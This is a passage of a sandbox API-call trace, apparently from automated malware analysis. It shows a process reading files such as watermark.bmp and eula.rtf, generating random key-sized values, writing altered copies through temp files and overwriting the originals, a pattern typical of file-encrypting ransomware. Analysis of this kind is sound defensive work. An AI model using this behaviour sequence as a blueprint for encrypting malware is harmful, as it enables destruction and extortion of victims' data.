	[0069.672] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9305fedb0, ulCount=0x10, ulNumEntriesRemoved=0x9305fed88, dwMilliseconds=0xe9df, fAlertable=0 | out: lpCompletionPortEntries=0x9305fedb0, ulNumEntriesRemoved=0x9305fed88) returned 1
	[0076.731] VirtualFree (lpAddress=0xc000480000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.731] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000357d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000357d94, lpOverlapped=0x0) returned 0
	[0076.731] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000357d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000357d94, lpOverlapped=0x0) returned 0
	[0076.731] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0076.732] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000357bf4 | out: lpMode=0xc000357bf4) returned 0
	[0076.732] GetFileType (hFile=0x164) returned 0x1
	[0076.732] GetFileType (hFile=0x164) returned 0x1
	[0076.732] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000357c44 | out: lpFileInformation=0xc000357c44) returned 1
	[0076.732] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000357c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000357c28) returned 1
	[0076.732] VirtualAlloc (lpAddress=0xc000366000, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000366000
	[0076.746] ReadFile (in: hFile=0x164, lpBuffer=0xc000366000, nNumberOfBytesToRead=0x19888, lpNumberOfBytesRead=0xc000357b04, lpOverlapped=0x0 | out: lpBuffer=0xc000366000*, lpNumberOfBytesRead=0xc000357b04*=0x19688, lpOverlapped=0x0) returned 1
	[0076.794] ReadFile (in: hFile=0x164, lpBuffer=0xc00037f688, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000357b04, lpOverlapped=0x0 | out: lpBuffer=0xc00037f688*, lpNumberOfBytesRead=0xc000357b04*=0x0, lpOverlapped=0x0) returned 1
	[0076.794] CloseHandle (hObject=0x164) returned 1
	[0076.795] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0000923e0 | out: pbBuffer=0xc0000923e0) returned 1
	[0076.795] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094240 | out: pbBuffer=0xc000094240) returned 1
	[0076.795] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0076.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0076.797] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc0000c1c04 | out: lpMode=0xc0000c1c04) returned 0
	[0076.797] GetFileType (hFile=0x164) returned 0x1
	[0076.797] WriteFile (in: hFile=0x164, lpBuffer=0xc000198000*, nNumberOfBytesToWrite=0x19788, lpNumberOfBytesWritten=0xc0000c1bec, lpOverlapped=0x0 | out: lpBuffer=0xc000198000*, lpNumberOfBytesWritten=0xc0000c1bec*=0x19788, lpOverlapped=0x0) returned 1
	[0076.802] CloseHandle (hObject=0x164) returned 1
	[0077.027] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0077.029] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc0000c1d74 | out: lpMode=0xc0000c1d74) returned 0
	[0077.029] GetFileType (hFile=0x178) returned 0x1
	[0077.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x128
	[0077.029] GetConsoleMode (in: hConsoleHandle=0x128, lpMode=0xc0000c1d74 | out: lpMode=0xc0000c1d74) returned 0
	[0077.029] GetFileType (hFile=0x128) returned 0x1
	[0077.031] ReadFile (in: hFile=0x128, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c1bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc0000c1bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0077.031] WriteFile (in: hFile=0x178, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c1b74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc0000c1b74*=0x8000, lpOverlapped=0x0) returned 1
	[0077.033] ReadFile (in: hFile=0x128, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c1bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc0000c1bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0077.033] WriteFile (in: hFile=0x178, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c1b74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc0000c1b74*=0x8000, lpOverlapped=0x0) returned 1
	[0077.034] ReadFile (in: hFile=0x128, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c1bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc0000c1bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0077.034] WriteFile (in: hFile=0x178, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c1b74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc0000c1b74*=0x8000, lpOverlapped=0x0) returned 1
	[0077.035] ReadFile (in: hFile=0x128, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c1bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc0000c1bd4*=0x1788, lpOverlapped=0x0) returned 1
	[0077.035] WriteFile (in: hFile=0x178, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0xc0000c1b74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc0000c1b74*=0x1788, lpOverlapped=0x0) returned 1
	[0077.035] ReadFile (in: hFile=0x128, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c1bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc0000c1bd4*=0x0, lpOverlapped=0x0) returned 1
	[0077.035] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 0
	[0077.035] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 0
	[0077.036] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 0x20
	[0077.036] CloseHandle (hObject=0x128) returned 1
	[0077.036] CloseHandle (hObject=0x178) returned 1
	[0077.039] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 1
	[0077.127] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0077.211] SetEvent (hEvent=0xd4) returned 1
	[0077.211] VirtualFree (lpAddress=0xc000472000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.212] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0077.287] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0077.364] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0077.554] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0077.634] SetEvent (hEvent=0xd4) returned 1
	[0077.634] VirtualFree (lpAddress=0xc000464000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.634] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] SetEvent (hEvent=0x188) returned 1
	[0077.687] SetEvent (hEvent=0xd4) returned 1
	[0077.687] VirtualFree (lpAddress=0xc00045e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.688] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0081.588] SetEvent (hEvent=0x188) returned 1
	[0081.588] SetEvent (hEvent=0xd4) returned 1
	[0081.588] VirtualFree (lpAddress=0xc000420000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0081.588] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0082.539] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0082.723] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0082.846] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0082.997] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0083.101] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0083.238] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0083.503] SetEvent (hEvent=0xd4) returned 1
	[0083.504] VirtualFree (lpAddress=0xc000406000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.504] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0083.565] SetEvent (hEvent=0xd4) returned 1
	[0083.565] SetEvent (hEvent=0xf0) returned 1
	[0083.568] VirtualFree (lpAddress=0xc000402000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.568] VirtualFree (lpAddress=0xc000400000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.568] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0083.716] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0084.198] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0084.327] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0084.825] SetEvent (hEvent=0x188) returned 1
	[0084.826] VirtualFree (lpAddress=0xc0003e2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.826] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.050] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.101] SetEvent (hEvent=0x188) returned 1
	[0086.101] VirtualFree (lpAddress=0xc0003a4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.102] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.129] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.215] SetEvent (hEvent=0xd4) returned 1
	[0086.215] VirtualFree (lpAddress=0xc000392000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.215] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.315] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.397] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0086.413] SetEvent (hEvent=0xd4) returned 1
	[0086.413] SetEvent (hEvent=0xf0) returned 1
	[0086.413] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) 

Thread:
	id = 35
	os_tid = 0x9d0

	[0070.351] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x9307ffc30, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x9307ffc30*=0x184) returned 1
	[0070.352] VirtualQuery (in: lpAddress=0x9307ffc50, lpBuffer=0x9307ffc50, dwLength=0x30 | out: lpBuffer=0x9307ffc50*(BaseAddress=0x9307ff000, AllocationBase=0x930600000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0070.352] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x188
	[0070.352] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x18c
	[0070.352] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.406] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.769] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.805] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.854] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.877] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.924] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0070.987] SetEvent (hEvent=0xf0) returned 1
	[0070.987] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0070.987] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0070.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.987] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283bf4 | out: lpMode=0xc000283bf4) returned 0
	[0070.987] GetFileType (hFile=0x164) returned 0x1
	[0070.987] GetFileType (hFile=0x164) returned 0x1
	[0070.987] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000283c44 | out: lpFileInformation=0xc000283c44) returned 1
	[0070.987] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000283c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000283c28) returned 1
	[0070.988] VirtualAlloc (lpAddress=0xc000302000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000302000
	[0070.988] ReadFile (in: hFile=0x164, lpBuffer=0xc000302000, nNumberOfBytesToRead=0xe74, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc000302000*, lpNumberOfBytesRead=0xc000283b04*=0xc74, lpOverlapped=0x0) returned 1
	[0071.049] ReadFile (in: hFile=0x164, lpBuffer=0xc000302c74, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc000302c74*, lpNumberOfBytesRead=0xc000283b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.049] CloseHandle (hObject=0x164) returned 1
	[0071.049] VirtualAlloc (lpAddress=0xc000304000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000304000
	[0071.050] VirtualAlloc (lpAddress=0xc000306000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000306000
	[0071.050] VirtualAlloc (lpAddress=0xc000308000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000308000
	[0071.050] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc00000e8a0 | out: pbBuffer=0xc00000e8a0) returned 1
	[0071.050] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0000104b0 | out: pbBuffer=0xc0000104b0) returned 1
	[0071.050] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000000701 | out: pbBuffer=0xc000000701) returned 1
	[0071.050] VirtualAlloc (lpAddress=0xc00030a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030a000
	[0071.051] VirtualAlloc (lpAddress=0xc00030c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030c000
	[0071.051] VirtualAlloc (lpAddress=0xc00030e000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030e000
	[0071.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.052] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0071.052] GetFileType (hFile=0x164) returned 0x1
	[0071.052] WriteFile (in: hFile=0x164, lpBuffer=0xc00030e000*, nNumberOfBytesToWrite=0xd74, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc00030e000*, lpNumberOfBytesWritten=0xc000283bec*=0xd74, lpOverlapped=0x0) returned 1
	[0071.054] CloseHandle (hObject=0x164) returned 1
	[0071.059] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.060] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0071.060] GetFileType (hFile=0x164) returned 0x1
	[0071.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0071.061] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0071.061] GetFileType (hFile=0x178) returned 0x1
	[0071.061] VirtualAlloc (lpAddress=0xc000314000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000314000
	[0071.061] ReadFile (in: hFile=0x178, lpBuffer=0xc000314000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000314000*, lpNumberOfBytesRead=0xc000283bd4*=0xd74, lpOverlapped=0x0) returned 1
	[0071.062] WriteFile (in: hFile=0x164, lpBuffer=0xc000314000*, nNumberOfBytesToWrite=0xd74, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc000314000*, lpNumberOfBytesWritten=0xc000283b74*=0xd74, lpOverlapped=0x0) returned 1
	[0071.063] ReadFile (in: hFile=0x178, lpBuffer=0xc000314000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000314000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.063] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 0
	[0071.064] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 0
	[0071.064] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 0x20
	[0071.064] CloseHandle (hObject=0x178) returned 1
	[0071.064] CloseHandle (hObject=0x164) returned 1
	[0071.064] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 1
	[0071.066] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0071.099] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0071.099] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0071.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0071.099] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0071.100] GetFileType (hFile=0x164) returned 0x1
	[0071.100] VirtualAlloc (lpAddress=0xc00031c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00031c000
	[0071.100] GetFileType (hFile=0x164) returned 0x1
	[0071.100] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0071.100] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0071.100] VirtualAlloc (lpAddress=0xc00031e000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00031e000
	[0071.105] ReadFile (in: hFile=0x164, lpBuffer=0xc00031e000, nNumberOfBytesToRead=0x129e, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00031e000*, lpNumberOfBytesRead=0xc000231b04*=0x109e, lpOverlapped=0x0) returned 1
	[0071.161] ReadFile (in: hFile=0x164, lpBuffer=0xc00031f09e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00031f09e*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.162] CloseHandle (hObject=0x164) returned 1
	[0071.162] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000206840 | out: pbBuffer=0xc000206840) returned 1
	[0071.162] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0002224c0 | out: pbBuffer=0xc0002224c0) returned 1
	[0071.162] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212701 | out: pbBuffer=0xc000212701) returned 1
	[0071.162] VirtualAlloc (lpAddress=0xc00027c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027c000
	[0071.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.163] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0071.163] GetFileType (hFile=0x164) returned 0x1
	[0071.164] WriteFile (in: hFile=0x164, lpBuffer=0xc00026d300*, nNumberOfBytesToWrite=0x119e, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc00026d300*, lpNumberOfBytesWritten=0xc000231bec*=0x119e, lpOverlapped=0x0) returned 1
	[0071.165] CloseHandle (hObject=0x164) returned 1
	[0071.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.188] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0071.188] GetFileType (hFile=0x164) returned 0x1
	[0071.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0071.189] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0071.189] GetFileType (hFile=0x190) returned 0x1
	[0071.189] VirtualAlloc (lpAddress=0xc000380000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000380000
	[0071.189] ReadFile (in: hFile=0x190, lpBuffer=0xc000380000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000380000*, lpNumberOfBytesRead=0xc000231bd4*=0x119e, lpOverlapped=0x0) returned 1
	[0071.190] WriteFile (in: hFile=0x164, lpBuffer=0xc000380000*, nNumberOfBytesToWrite=0x119e, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc000380000*, lpNumberOfBytesWritten=0xc000231b74*=0x119e, lpOverlapped=0x0) returned 1
	[0071.191] ReadFile (in: hFile=0x190, lpBuffer=0xc000380000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000380000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
